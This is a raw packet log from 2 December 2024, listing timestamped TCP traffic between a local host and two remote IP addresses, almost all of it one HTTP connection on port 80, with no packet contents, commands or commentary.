Dec 2, 2024 07:38:10.562292099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.562303066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.562331915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.562913895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.562968016 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.562998056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.563041925 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.563589096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.563599110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.563635111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.563647985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.564080000 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.564090967 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.564125061 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.564152002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.564915895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.564927101 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.564966917 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.565953016 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.565999985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.566073895 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.566112995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.567024946 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.567063093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.567156076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.567209005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.568115950 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.568166018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.568191051 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.568234921 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.569149971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.569209099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.569227934 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.569272995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.570213079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.570224047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.570276976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.571247101 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.571305990 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.571378946 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.571428061 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.572295904 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.572341919 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.572377920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.572415113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.573331118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.573380947 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.573434114 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.573482990 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.574434996 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.574527979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.574556112 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.574618101 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.575467110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.575524092 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.575656891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.575704098 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.576533079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.576591969 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.576627970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.576675892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.577598095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.577650070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.577724934 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.577771902 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.578671932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.578732014 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.578768015 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.578805923 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.579711914 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.579755068 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.579819918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.579865932 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.580749989 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.580797911 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.580859900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.580904007 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.581809998 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.581851959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.581865072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.581891060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.582875013 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.582937002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.582967043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.583009958 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.583929062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.583985090 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.584009886 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.584059954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.585005045 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.585067987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.585093975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.585134983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.586045980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.586097002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.586153984 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.586209059 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.587114096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.587162971 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.587253094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.587292910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.588159084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.588205099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.588269949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.588320017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.589257002 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.589313984 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.589353085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.589394093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.590285063 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.590342045 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.590405941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.590456009 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.591329098 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.591384888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.591437101 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.591501951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.592381954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.592504025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.592531919 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.592545986 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.593441010 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.593496084 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.593534946 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.593578100 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.594640017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.594691992 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.594727039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.594777107 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.595562935 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.595627069 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.595659018 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.595699072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.596600056 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.596654892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.596702099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.596749067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.597667933 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.597732067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.597742081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.597779989 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.598733902 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.598789930 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.598825932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.598876953 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.599808931 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.599863052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.599889994 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.599927902 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.600840092 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.600895882 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.600933075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.600977898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.601913929 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.601963043 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.601994038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.602051973 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.603146076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.603167057 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.603199959 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.603213072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.604031086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.604085922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.604125977 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.604168892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.605056047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.605108976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.605210066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.605262041 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.606142044 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.606192112 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.606223106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.606288910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.607319117 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.607367992 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.607372999 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.607414961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.608298063 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.608349085 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.608383894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.608426094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.609433889 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.609483957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.609572887 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.609617949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.610378981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.610421896 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.610456944 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.610502005 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.611424923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.611474037 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.611521959 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.611565113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.612437963 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.612483978 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.708726883 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.711632967 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.711730003 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.711779118 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.711791992 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.711805105 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.711811066 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.715157032 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.715204000 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.715292931 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.715492964 CET	49868	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.715507030 CET	443	49868	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.727725029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.727826118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.727834940 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.727869034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.728190899 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.728239059 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.728260040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.728324890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.729239941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.729294062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.729305029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.729346991 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.730365038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.730415106 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.752815962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.752830029 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.752878904 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.753400087 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.753420115 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.753451109 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.753479004 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.754338980 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.754388094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.754463911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.754511118 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.755372047 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.755422115 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.755717039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.755765915 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.755866051 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.755913019 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.756843090 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.756892920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.756937027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.756980896 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.757836103 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.757883072 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.757894993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.757930040 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.758903027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.758955002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.759004116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.759048939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.760076046 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.760126114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.760261059 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.760308981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.761142969 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.761190891 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.761261940 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.761307001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.762067080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.762116909 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.762154102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.762197018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.763123035 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.763170958 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.763230085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.763273954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.764185905 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.764239073 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.764285088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.764328003 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.765300989 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.765357018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.765382051 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.765425920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.766308069 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.766321898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.766352892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.766370058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.767394066 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.767443895 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.767477036 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.767519951 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.768407106 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.768465042 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.768531084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.768578053 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.769473076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.769527912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.769536018 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.769573927 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.770579100 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.770631075 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.770632029 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.770668030 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.771627903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.771682024 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.771761894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.771806955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.772644997 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.772701025 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.773049116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.773099899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.773694038 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.773750067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.773756027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.773792028 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.774755955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.774816036 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.774893999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.774935961 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.775811911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.775861979 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.775964975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.776009083 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.776896954 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.776953936 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.777033091 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.777076960 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.777971983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.778027058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.778059006 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.778105974 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.779007912 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.779093027 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.779123068 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.779164076 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.780076981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.780136108 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.780214071 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.780266047 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.781166077 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.781225920 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.781266928 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.781307936 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.783380032 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.783395052 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.783406973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.783417940 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.783446074 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.783489943 CET	49859	80	192.168.2.6	185.215.113.16
